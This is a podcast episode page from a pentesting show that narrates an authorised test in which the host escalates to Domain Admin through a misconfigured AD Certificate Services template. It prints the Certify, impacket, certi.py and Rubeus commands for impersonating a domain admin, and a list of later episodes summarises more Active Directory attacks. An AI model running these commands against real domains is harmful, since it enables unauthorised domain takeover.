7MS #501: Tales of Pentest Pwnage - Part 31
7 Minute Security29 Joulu 2021

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Jaksot(688)

7MS #681: Pentesting GOAD – Part 3

7MS #681: Pentesting GOAD – Part 3

Today Joe “The Machine” Skeen and I pwn the third and final realm in the world of GOAD (Game of Active Directory): essos.local!  The way we go about it is to do a WinRM connection to our previously-pwned Kingslanding domain, coerce authentication out of MEEREEN (the DC for essos.local) and then capture/abuse the TGT with Rubeus!  Enjoy.

27 Kesä 18min

7MS #680: Tips for a Better Purple Team Experience

7MS #680: Tips for a Better Purple Team Experience

Today I share some tips on creating a better purple team experience for your customers, including: Setting up communication channels and cadence Giving a heads-up on highs/criticals during testing (not waiting until report time) Where appropriate, record videos of attacks to give them more context

20 Kesä 26min

7MS #679: Tales of Pentest Pwnage – Part 73

7MS #679: Tales of Pentest Pwnage – Part 73

In today’s tale of pentest pwnage I talk about a cool ADCS ESC3 attack – which I also did live on this week’s Tuesday TOOLSday.  I also talk about Exegol’s licensing plans (and how it might break your pentest deployments if you use ProxmoxRox).

13 Kesä 30min

7MS #678: How to Succeed in Business Without Really Crying – Part 22

7MS #678: How to Succeed in Business Without Really Crying – Part 22

Today I share some tips on presenting a wide variety of content to a wide variety of audiences, including: Knowing your audience before you touch PowerPoint Understanding your presentation physical hookups and presentation surfaces A different way to screen-share via Teams that makes resolution/smoothness way better!

6 Kesä 33min

7MS #677: That One Time I Was a Victim of a Supply Chain Attack

7MS #677: That One Time I Was a Victim of a Supply Chain Attack

Hi everybody. Today I take it easy (because my brain is friend from the short week) to tell you about the time I think my HP laptop was compromised at the factory!

30 Touko 13min

7MS #676: Tales of Pentest Pwnage – Part 72

7MS #676: Tales of Pentest Pwnage – Part 72

Today’s fun tale of pentest pwnage discuss an attack path that would, in my opinion, probably be impossible to detect…until it’s too late.

27 Touko 59min

7MS #675: Pentesting GOAD – Part 2

7MS #675: Pentesting GOAD – Part 2

Hey friends! Today Joe “The Machine” Skeen and I tackled GOAD (Game of Active Directory) again – this time covering: SQL link abuse between two domains Forging inter-realm TGTs to conquer the coveted sevenkingdoms.local! Join us next month when we aim to overtake essos.local, which will make us rulers over all realms!

16 Touko 31min

7MS #674: Tales of Pentest Pwnage – Part 71

7MS #674: Tales of Pentest Pwnage – Part 71

Today’s tale of pentest pwnage is another great one!  We talk about: The SPNless RBCD attack (covered in more detail in this episode) Importance of looking at all “branches” of outbound permissions that your user has in BloodHound This devilishly effective MSOL-account-stealing PowerShell script (obfuscate it first!) A personal update on my frustration with ringing in my ears

9 Touko 49min

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